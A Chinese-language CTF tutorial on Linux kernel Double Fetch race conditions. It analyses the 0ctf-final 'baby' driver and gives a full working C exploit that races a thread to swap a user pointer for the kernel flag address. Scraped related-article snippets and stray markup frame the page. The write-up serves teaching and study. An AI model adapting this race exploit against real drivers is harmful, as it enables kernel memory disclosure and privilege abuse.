<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Kernel Pwn基礎教程之 Double Fetch

    VSole2022-03-24 16:02:00

    一、前言

    Double Fetch是一種條件競爭類型的漏洞,其主要形成的原因是由于用戶態與內核態之間的數據在進行交互時存在時間差,我們在先前的學習中有了解到內核在從用戶態中獲取數據時會使用函數copy_from_user,而如果要拷貝的數據過于復雜的話則內核會選擇引用其指針而將數據暫存于用戶態中等待后續處理,而在這時數據會存在被條件競爭修改原有數據的風險,也就是筆者要分享的Double Fetch的由來。

    二、Double Fetch介紹

    如下圖所示,用戶態首先準備好用戶態數據(prepare data),然后執行syscall進入內核態后,會對用戶態數據進行第一次fetch,這一次fetch主要是做一些檢測工作(如緩沖區大小、指針是否可用等),在檢查通過后會執行第二次fetch對數據進行實際操作。而在這期間是存在一定的時間差,如果我們在用戶態數據通過第一次check以后創建一個惡意進程利用二次fetch之間的時間差修改掉原先用戶態的數據,那么在內核執行第二次fetch時處理的就并非原先通過檢測的數據,而是我們精心準備的惡意數據,而此類漏洞往往會引起訪問越界,緩沖區溢出最終造成惡意提權的情況。

    三、Double Fetch例題

    1、題目分析

    本次選擇的例題是0ctf-final-baby,用IDA打開baby.ko進行逆向分析。驅動主要注冊了baby_ioctl函數,當第二個參數為0x6666時會使用printk函數輸出flag值在,可以通過dmesg命令查看printk函數的輸出結果。

    不難看出flag是硬編碼在驅動文件中,可以看到flag的長度為33位。

    .data:0000000000000480 flag            dq offset aFlagThisWillBe
    .data:0000000000000480                                         ; DATA XREF: sub_25+25↑r
    .data:0000000000000480                                         ; sub_25+D6↑r ...
    .data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
    

    當第二個參數為0x1337時通過三次檢測則會對傳入的內容與flag進行比較,如果相同就通過printk函數輸出flag值。其中在三次檢測中使用到_chk_range_not_ok函數,前兩個參數不難理解,但是第三個參數在這里比較難理解。

    bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
    {
      bool my_cf; // cf
      unsigned __int64 sum; // rdi
      my_cf = __CFADD__(len, contect);
      sum = len + contect;
      return my_cf || unknow < sum;
    }
    

    我們通過動態調試的方式定位在_chk_range_not_ok函數處,發現current_task+0x1358的結果就是0x7ffffffffffff000,也就是說這三次check的意思分別是:

    1、判斷結構體的指針是否在用戶態
    2、判斷結構體中flag地址指針是否在用戶態
    3、判斷結構體中flag長度是否與內核flag長度相同
    

    通過這三個檢測之后就會比對傳入結構體中flag值與內核的flag值是否相同,全部正確就會通過printk輸出內核中的flag值。

    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( contect->addr[i] != flag[i] )
        return 0x16LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s", flag);
    return 0LL;
    

    2、漏洞利用

    通過分析題目其實沒有十分明顯的漏洞點,但是如果我們以條件競爭的思路來看待這道題就會發現隱藏的漏洞點。如果我們首先在用戶態創建一個可以通過三次檢測的結構體指針(User_Data),那么在這個數據在真正被處理之前是存在一定的時間差的,并且因為數據是保存在用戶態中,所以當我們開啟一個惡意進程不斷修改用戶態中flag地址為內核態的地址,那么在實際處理數據時取出的就是內核地址,最終判斷的時候就是內核地址與內核地址的比較,最終輸出flag值并用dmesg命令查看輸出結果。

    3、EXP

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    int finish = 1;
    struct message {
        char *addr;
        int len;
    }data;
    size_t flag_address = 0;
    void read_flag_address() {
        system("dmesg | grep flag > message.txt");
        int fd = open("message.txt", O_RDWR);
        char buf[0x60] = {0};
        read(fd, buf, sizeof(buf));
        size_t idx = strstr(buf, "at ") + 3;
        sscanf(idx, "%llx", &flag_address);
        printf("[+] FIND FLAG ADDRESS: 0x%llx", flag_address);
        close(fd);
    }
    void evil_thread() {
        while (finish == 1) {
            data.addr = flag_address;
        }
    }
    void main() {
        pthread_t pthread;
        int fd = open("/dev/baby", O_RDWR);
        char buf[0x100] = {0};
        ioctl(fd, 0x6666);
        read_flag_address();
        pthread_create(&pthread, NULL, evil_thread, NULL);
        data.addr = buf;
        data.len = 33;
        for (int i = 0; i < 0x1000; i++) {
            ioctl(fd, 0x1337, &data);
            data.addr = buf;
        }
        finish = 0;
        pthread_join(pthread, NULL);
        system("dmesg | grep flag");
        close(fd);
    }
    

    使用如下命令編譯elf文件,重新打包文件系統后執行start.sh,最終效果如下。

    gcc  -pthread -g -static -masm=intel -o exp exp.c
    

    四、總結

    Double Fetch 最為主要的就是培養以線程間條件競爭的角度來看待程序,從而發現一些比較隱蔽的漏洞。關于本次介紹的例題還有一種非預期的解法,可以通過在用戶態使用mmap的方式開辟兩塊內存地址,第一塊設置讀寫權限,第二塊設置不可讀寫權限,我們將需要比較的字節放在第一塊內存的最后一個字節中,當我們的判斷正確時就會繼續往下取值,這時就會從第二塊即不可讀寫的內存中取值,就會造成kernel panic,這時我們就可以判斷字符判斷成功。感興趣的師傅們可以自己嘗試實現一下。

    datafetch
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    vulnhub 靶場 napping
    2022-09-29 07:34:39
    信息收集主機發現:sudo nmap -sn 192.168.56.1/24. -sC Performs a script scan using the default set of scripts. It is equivalent to --script=default. Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.-sV Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things.-p This option specifies which ports you want to scan and overrides the default. Individual port numbers are OK, as are ranges separated by a hyphen . The beginning and/or end values of a range may be omitted, causing Nmap to use 1 and 65535, respectively. So you can specify -p- to scan ports from 1 through 65535. Scanning port zero is allowed if
    學習了一下原理,然后做了一些改進,利用MySQL的漏洞,獲取攻擊者手機號。關于MySQL任意文件讀取漏洞,網上很多大佬寫了很詳細的分析文章,本文不再復述。
    ?相關聲明 以下內容僅限用于紅藍攻防對抗等專業領域,請勿用于非法用途。 雜談 首先,我們先講一下蜜罐的概念,你可以簡單理解較為蜜罐就是一個陷阱,故意暴露一些我們人為設計好的漏洞,讓攻擊者自投羅網。 蜜罐介紹 蜜罐是對攻擊者的欺騙技術,用以監視、檢測、分析和溯源攻擊行為,其沒有業務上的用途,所有流入/流出蜜罐的流量都預示著掃描或者攻擊行為,因此可以比較好的聚焦于攻擊流量。 蜜罐可以實現對攻擊者
    之前在打CTF的時候,多次遇到了這個漏洞。 攻防演練期間,研究了一下蜜罐的騷操作,比如獲取百度ID、CSDN賬號、微信ID等等,對攻擊者進行攻擊者畫像。 學習了一下原理,然后做了一些改進,利用MySQL的漏洞,獲取攻擊者手機號。 本系統代碼非完全原創,部分代碼參照 https://github.com/qigpig/MysqlHoneypot。 關于MySQL任意文件讀取漏洞,網上很多大
    條件競爭類型的漏洞
    在測試過程中遇到一個登錄框,看到前端加密的情況下對密碼處進行了簡單的加密分析在控制臺中打開網絡,匹配Fetch/XHR,可以看到password處進行了加密處理在js中全局搜索encrypt這里可以看到使用的是AES的ECB模式加密第一種方法使用python腳本來進行加密from Crypto.Cipher import AES
    在內網滲透中常常會碰到VmwareVcenter,對實戰打法以及碰到的坑點做了一些總結,部分內容參考了師傅們提供的寶貴經驗,衷心感謝各位師傅!
    前言本次審計的話是Seay+昆侖鏡進行漏洞掃描Seay的話它可以很方便的查看各個文件,而昆侖鏡可以很快且掃出更多的漏洞點,將這兩者進行結合起來,就可以發揮更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';驗證碼的校驗代碼if ($_SESSION['verifycode'] !該文件的含義是用0-9中的任意四個數字作為驗證碼,也就是說js引用該文件來產生驗證碼。wap/seacher.php昆侖鏡掃描利用seay查看源碼//這只是一部分,具體的師傅們可自行查看此文件
    很久很久以前,有一道送分題沒做出來,后來看writeup,只要zsteg就行了。
    一個批量漏洞挖掘工具,黏合各種好用的掃描器。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类